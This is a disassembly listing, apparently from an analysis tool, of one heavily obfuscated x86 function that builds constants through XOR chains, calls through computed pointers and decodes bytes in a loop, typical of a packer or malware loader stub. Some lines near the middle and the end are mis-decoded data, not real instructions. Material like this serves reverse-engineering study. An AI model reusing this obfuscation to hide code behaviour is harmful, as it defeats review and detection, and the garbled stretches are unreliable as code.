Function at 0x403a04
Capabilities:
Encode data using xor

Disassembly:
dec dword [edi]
test dword [ecx], ecx
add byte [eax], al
pop ecx
mov eax, 0x549004a0
mov edi, 0x2104a05b
xor eax, edi
push eax
mov eax, 0x289483f2
mov edi, 0x577b322c
xor edi, eax
mov eax, 0x23153177
mov edx, 0x2d6e1b27
xor edx, eax
xor edx, edi
pop esi
xor edx, esi
xor edi, edi
add edi, edx
add esp, 0xfffffffc
mov dword [esp], edi
mov esi, 0x66474472
xor esi, 0x66ecba76
push 0x165f78a8
mov edx, 0x6b21dc74
pop edi
xor edx, edi
xor edx, esi
push 0x6ff0a146
mov esi, 0x7e4c99be
pop edi
xor esi, edi
xor edx, esi
add esp, 0xfffffffc
push esp
pop eax
mov dword [eax], edx
mov edx, 0x7d26ed2c
xor edx, 0x3da21c95
mov esi, 0x451850fc
xor edx, esi
xor edx, 0x65e8e107
mov edi, 0x45b1716c
mov eax, 0x44b15c6c
xor eax, edi
mov esi, 0x200
mov edi, 0
xor esi, edi
xor eax, esi
xor edx, eax
mov edi, edx
mov esi, edi
mov edi, esi
add esp, 0xfffffffc
mov dword [esp], edi
push 0x7f0d86ab
mov edx, 0x5f4a8b10
pop eax
xor edx, eax
mov edi, 0x664eafbb
xor edx, edi
mov edi, 0x30efa5b8
mov esi, 0x2514cfbf
xor esi, edi
mov edi, esi
xor edi, 0xffffffff
and edi, 0xbd9f6307
and esi, 0x42609cf8
or esi, edi
xor edx, esi
mov eax, edx
mov edi, eax
add esp, 0xfffffffc
mov dword [esp], edi
mov eax, 0x1d152570
mov esi, 0x188f6b6f
xor esi, eax
mov eax, 0x601b8a1e
xor esi, eax
add esp, 0xfffffffc
mov eax, esp
mov dword [eax], esi
mov esi, 0x58276c67
xor esi, 0x49061b2a
push esi
mov edx, 0x1808ac37
xor edx, 0x5dc7e35
pop eax
xor edx, eax
pop edi
xor edx, edi
mov esi, 0
xor esi, edx
add esp, 0xfffffffc
mov eax, esp
mov dword [eax], esi
mov edx, esp
mov esi, edx
add esp, 0xfffffffc
mov dword [esp], esi
pop ecx
mov edi, 0
mov esi, 0
xor edi, esi
mov esi, 0x36578c89
mov edx, 0x36578c8b
xor edx, esi
xor edi, edx
mov esi, 0x598d487a
xor esi, 0x4b22652a
push esi
mov eax, 0x4aaa8e05
xor eax, 0x5805a374
pop edx
xor eax, edx
xor edi, eax
mov edx, 0
xor edx, edi
add esp, 0xfffffffc
mov dword [esp], edx
mov edi, ecx
add esp, 0xfffffffc
mov dword [esp], edi
pop edx
add esp, 0xfffffffc
mov dword [esp], edx
add ecx, 8
mov edi, ecx
mov esi, edi
mov edx, esi
mov eax, edx
mov edx, eax
mov esi, edx
add esp, 0xfffffffc
mov dword [esp], esi
mov eax, 0x4c729e2c
xor eax, 0x269409eb
push eax
push 0x58673381
mov edx, 0x3281a446
pop eax
xor edx, eax
pop edi
xor edx, edi
push 0x60fedcc8
mov esi, 0x30a5b839
pop edi
xor esi, edi
mov edi, esi
xor edi, 0xffffffff
and edi, 0x505b64f1
and esi, 0xafa49b0e
or esi, edi
xor edx, esi
add esp, 0xfffffffc
mov edi, 0
xor edi, esp
mov dword [edi], edx
mov esi, 0x40a40
mov eax, 0x28200021
xor esi, eax
mov edi, 0x4480000
mov eax, 0x4084
xor edi, eax
xor esi, edi
mov eax, esi
push eax
mov edi, 0x24dc0eb6
mov ecx, 0x4f406f2
xor ecx, edi
mov esi, 0x8049001
mov edi, 0x4000080
xor esi, edi
xor ecx, esi
pop edx
xor ecx, edx
call dword [ecx]
add esp, 0x14
mov esi, 0x773ab30
mov edx, 0x278f3def
xor edx, esi
mov edi, 0x20fc97d7
xor edx, edi
mov ecx, 0x862400
mov edi, 0x487012ba
xor ecx, edi
push ecx
mov eax, 0x11866328
xor eax, 0x59308582
pop esi
xor eax, esi
xor edx, eax
call dword [edx]
push 0x42a44d01
mov esi, 0x503b61c2
pop edi
xor esi, edi
mov edx, 0x1201ac80
mov edi, 0x9a004b
xor edx, edi
xor edx, esi
push 0x3cb99e4d
mov ecx, 0x3cb99f4d
pop edi
xor ecx, edi
mov esi, 0
mov edi, 0x50c2
xor esi, edi
xor ecx, esi
xor edx, ecx
call 0x403174
push 0x14590dd8
mov esi, 0x141884d8
pop edx
xor esi, edx
push 0x2bd62fc5
mov eax, 0x5ff829c5
pop ecx
xor eax, ecx
xor esi, eax
add esp, 0xfffffffc
mov ecx, esp
mov dword [ecx], esi
mov ecx, 0x64202000
mov edx, 6
xor ecx, edx
mov edi, 0x2bd20ef
mov eax, 0xaf164c7
xor eax, edi
xor ecx, eax
mov edx, ecx
push edx
mov edi, 0x32004122
mov eax, 0x40a614
xor edi, eax
mov edx, 0x49faa459
xor edi, edx
xor edi, 0x49892f0a
add esp, 0xfffffffc
mov ecx, esp
mov dword [ecx], edi
mov edi, 0x385464b5
mov esi, 0x6732aa32
xor esi, edi
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x3114abcc
and esi, 0xceeb5433
or esi, ecx
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], esi
push esp
pop ecx
add esp, 0xfffffffc
mov dword [esp], ecx
mov edi, 0x42000ce0
mov edx, 0x25004018
xor edi, edx
mov edx, 0x244121e6
mov ecx, 0x4301bc82
xor ecx, edx
xor ecx, edi
call dword [ecx]
add esp, 0x10
mov ecx, 0
mov esi, 0
xor ecx, esi
xor ecx, eax
mov esi, 0x3c97d893
xor esi, 0xb0817860
push esi
mov edx, 0x44160410
mov esi, 0x800d080
xor edx, esi
pop edi
xor edx, edi
mov esi, edx
push esi
push 0x51186b51
mov edi, 0x553d5f9e
pop edx
xor edi, edx
mov edx, 0x7527eb4d
xor edi, edx
xor edi, 0x1476b0f0
mov edx, edi
push edx
mov edx, 0x8b21708
mov esi, 0x10d0063
arpl word [eax], ax
or eax, 0xbef23101
imul byte [edi - 0xdcea1cc]
xor edx, 0x7e7d9e8
add esp, 0xfffffffc
mov esi, esp
mov dword [esi], edx
mov edi, 0x200044
mov esi, 0x10020100
xor edi, esi
mov edx, 0x3750ba91
xor edx, 0x5300d283
xor edi, edx
mov esi, edi
push esi
xor edx, edx
add edx, esp
add esp, 0xfffffffc
mov dword [esp], edx
mov edx, 0
xor edx, ecx
mov edi, edx
push edi
push 0x2f3832c
mov edx, 0x3ecd2c32
pop edi
xor edx, edi
mov edi, edx
xor edi, 0xffffffff
and edi, 0x3c7e7ea6
out 0xa6, eax
jle 0x403a86
cmp al, 0x81
loop 0x403a65
add dword [ecx - 0x5f63d], 0x10c48312
mov esi, 0x2200239a
mov ecx, 0x58bb8860
xor esi, ecx
mov edi, 0x7abbabfa
xor esi, edi
mov edi, esi
add esp, 0xfffffffc
mov dword [esp], edi
xor ecx, ecx
add ecx, esp
mov edx, ecx
add esp, 0xfffffffc
mov dword [esp], edx
mov ecx, 0
mov edi, 0x40
xor ecx, edi
push 0x514d28e1
mov esi, 0x514d28e1
pop edi
xor esi, edi
xor ecx, esi
add esp, 0xfffffffc
mov edx, esp
mov dword [edx], ecx
mov esi, 0x240cf848
mov edi, 0xb000422
xor esi, edi
mov edi, 0x2f0c686a
xor esi, edi
mov ecx, esi
push ecx
mov edx, 0xe212920
mov edi, 0x30129004
xor edx, edi
push edx
mov esi, 0x2ec260ed
xor esi, 0x10b1c9c9
pop ecx
xor esi, ecx
mov edx, esi
push edx
call eax
mov esi, 0x401320
add esp, 0xfffffffc
push esp
pop ecx
mov dword [ecx], esi
mov edx, esi
mov esi, edx
mov edi, esi
mov ecx, edi
mov esi, 0x10000a0
mov edi, 0x350658
xor esi, edi
mov eax, 0x1e713
xor eax, 0x134e21c
xor eax, esi
add ecx, eax
add ecx, 0xffffffff
add edx, eax
add esp, 0xfffffffc
mov edi, esp
mov esi, edi
mov dword [esi], eax
add esp, 0xfffffffc
mov edi, esp
mov esi, edi
mov dword [esi], edx
xor eax, eax
mov al, byte [ecx]
add edx, eax
mov al, byte [edx]
pop edx
mov byte [ecx], al
mov edi, 0xa58414b
mov esi, 0xf5a7beb4
xor esi, edi
add ecx, esi
pop eax
mov edi, 0x551a42
mov esi, 0xffaae5bd
xor esi, edi
add eax, esi
mov edi, eax
mov esi, edi
or esi, esi
jne 0x403ac9
pop eax
push 0x257add76
mov esi, 0x2b5bf4a6
pop edi
xor esi, edi
push esi
mov edi, 0x433f7f99
mov ecx, 0x4d5e87f1
xor ecx, edi
pop edx
xor ecx, edx
push ecx
pop edx
add edx, 0xffffffff
mov ecx, dword [edx + 1]
xor edx, edx
add edx, ecx
add esp, 0xfffffffc
mov dword [esp], edx
mov edx, 0xa6758de
xor edx, 0xa6758de
mov esi, 0x69f9c7c9
xor esi, 0x69f9c7c9
xor edx, esi
mov edi, edx
add esp, 0xfffffffc
mov dword [esp], edi
push 0x67079d99
mov edi, 0x69c87e5d
pop esi
xor edi, esi
push edi
mov ecx, 0x40f0010
mov esi, 0xa803248
xor ecx, esi
pop edx
xor ecx, edx
mov edx, 0
xor edx, ecx
add edx, 0xffffffff
mov ecx, dword [edx + 1]
xor esi, esi
add esi, ecx
add esp, 0xfffffffc
mov dword [esp], esi
mov ecx, 0x420fa890
mov edi, 0x4c0142e
xor ecx, edi
push 0x6b47b295
mov esi, 0x2d880ddc
pop edx
xor esi, edx
xor esi, ecx
add esi, eax
mov edx, 0
xor edx, esi
add esp, 0xfffffffc
mov dword [esp], edx
mov edx, 0x541072d6
xor edx, 0x71974b1
push edx
push 0x4f89612f
mov edi, 0x1c80b348
pop edx
xor edi, edx
pop ecx
xor edi, ecx
add esp, 0xfffffffc
mov edx, esp
mov dword [edx], edi
mov esi, 0x7488f678
mov edx, 0x17e9c649
xor edx, esi
push 0x6e04e96c
mov ecx, 0xd65d162
pop esi
xor ecx, esi
xor ecx, edx
mov edx, 0
xor edx, ecx
add esp, 0xfffffffc
mov dword [esp], edx
mov esi, 0x26889000
mov ecx, 0x807058c
xor esi, ecx
mov edx, 0xf7d1e11
xor edx, 0x21f282d7
xor edx, esi
add esp, 0xfffffffc
invalid